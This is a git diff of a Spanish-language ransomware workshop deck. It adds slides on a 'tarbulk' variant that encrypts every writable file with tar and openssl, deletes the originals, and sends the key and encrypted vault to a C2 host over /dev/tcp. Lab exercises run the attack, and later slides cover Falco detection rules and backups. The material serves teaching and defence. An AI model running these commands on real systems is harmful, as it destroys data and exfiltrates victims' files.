This commit is contained in:
2026-05-28 18:42:50 -04:00
parent e671ec8ea5
commit ffb9fd50aa
6 changed files with 270 additions and 351 deletions

View File

@@ -122,6 +122,45 @@ find /home/victim -type f -writable -print0 \
---
## tar | openssl: un proceso para cifrar todo
`xargs -P` abre un proceso por archivo. `tar | openssl` abre **uno solo**.
```bash
# todos los archivos -> un stream -> un blob cifrado
printf '%s\0' "${TARGETS[@]}" \
| tar --null -T - -czf - \
| openssl enc -aes-256-cbc -pbkdf2 -pass pass:"$KEY" \
> /tmp/.vault.enc
# eliminar originales en batch
printf '%s\0' "${TARGETS[@]}" | xargs -0 rm -f
```
desde un detector de procesos: hay **exactamente un `tar` y un `openssl` corriendo**. nada más.
---
## y encima se lleva el vault
no solo la clave. `tarbulk` exfiltra una copia cifrada de todos los archivos usando `/dev/tcp`, sin `curl`, sin herramientas externas.
```bash
# clave al C2 por tcp/9090
printf 'GET /?k=%s&v=%s HTTP/1.0\r\nHost: %s\r\n\r\n' \
"$KEY" "$VICTIM_IP" "$C2" > /dev/tcp/"$C2"/9090
# vault cifrado al C2 por tcp/9091
{ printf 'POST /vault/%s HTTP/1.0\r\nContent-Length: %d\r\n\r\n' \
"$VICTIM_IP" "$(stat -c%s /tmp/.vault.enc)"
cat /tmp/.vault.enc
} > /dev/tcp/"$C2"/9091
```
aunque pagues, el atacante ya tiene tus archivos. el rescate no garantiza nada.
---
## La ventana de detección se cierra
Benchmark real, root, servidor, `xargs -P 36`:
@@ -295,7 +334,29 @@ Con `tarbulk`: el único momento de intervención real es **antes** de que empie
---
## Ejercicio 4: Nota de rescate
## Ejercicio 4: tarbulk en acción
restaura el snapshot y ejecuta la variante `tar | openssl`:
```bash
KEY=$(openssl rand -hex 32)
mapfile -d '' TARGETS < <(find /home/victim -type f -writable -print0)
time printf '%s\0' "${TARGETS[@]}" \
| tar --null -T - -czf - \
| openssl enc -aes-256-cbc -pbkdf2 -pass pass:"$KEY" \
> /tmp/.vault.enc
printf '%s\0' "${TARGETS[@]}" | xargs -0 rm -f
```
en otra terminal durante el ataque: `watch -n0.5 'ps aux | grep -E "tar|openssl"'`
**¿cuántos procesos viste? ¿en cuántos segundos desapareció `/home/victim`?**
---
## Ejercicio 5: Nota de rescate
```bash
find / -type d -writable -print0 \
@@ -308,7 +369,7 @@ wall /home/victim/LEEME_URGENTE.txt
---
## Ejercicio 5: Persistencia
## Ejercicio 6: Persistencia
```bash
(crontab -l 2>/dev/null; echo \
@@ -324,7 +385,7 @@ Crea un archivo `.txt` nuevo. Espera 5 minutos. ¿Qué pasó?
---
## Ejercicio 6: Forense post-ataque
## Ejercicio 7: Forense post-ataque
```bash
# ¿Qué quedó en auth.log?
@@ -388,6 +449,84 @@ Lo que hay que buscar:
---
## Detección comportamental: Falco
**Falco** intercepta syscalls en tiempo real vía eBPF y dispara alertas cuando el comportamiento rompe una regla, no cuando hay una firma conocida.
- Sin agente en userspace frágil
- Reglas en YAML, legibles por humanos
- Se integra con cualquier SIEM vía Falcosidekick
---
## Instalar Falco: Debian / Ubuntu
```bash
curl -fsSL https://falco.org/repo/falcosecurity-packages.asc \
| sudo gpg --dearmor \
-o /usr/share/keyrings/falco-archive-keyring.gpg
echo "deb [signed-by=/usr/share/keyrings/falco-archive-keyring.gpg] \
https://download.falco.org/packages/deb stable main" \
| sudo tee -a /etc/apt/sources.list.d/falcosecurity.list
sudo apt-get update
sudo apt-get install -y apt-transport-https dialog
sudo apt-get install -y falco
```
---
## Instalar Falco: RHEL / Rocky / Fedora
```bash
sudo rpm --import \
https://falco.org/repo/falcosecurity-packages.asc
sudo curl -o /etc/yum.repos.d/falcosecurity.repo \
https://falco.org/repo/falcosecurity-rpm.repo
sudo yum update -y
sudo yum install -y dialog
sudo yum install -y falco
```
---
## Desplegar las reglas QueComanTierra
```bash
# Clonar el repositorio del taller
git clone https://git.resacachile.cl/anti/workshops /opt/workshops
# Copiar reglas al directorio de Falco
cp /opt/workshops/QueComanTierra/detection/falco_rules.yaml \
/etc/falco/rules.d/tarssl.yaml
# Recargar todos los servicios de Falco
systemctl restart falco-* --all
```
Las reglas viven en `/etc/falco/rules.d/`. Falco las carga automáticamente sin tocar la config base.
---
## Verificar que las reglas están activas
```bash
# Ver reglas cargadas
falco --list | grep -E "OpenSSL|TCP|Deletion|Encrypted"
# Ver logs en tiempo real
journalctl -fu falco
# Probar: lanzar openssl enc desde bash
echo "test" | openssl enc -aes-256-cbc -pass pass:test -pbkdf2
# → Debe aparecer WARNING en journalctl
```
---
## Prevención: backups inmutables
```bash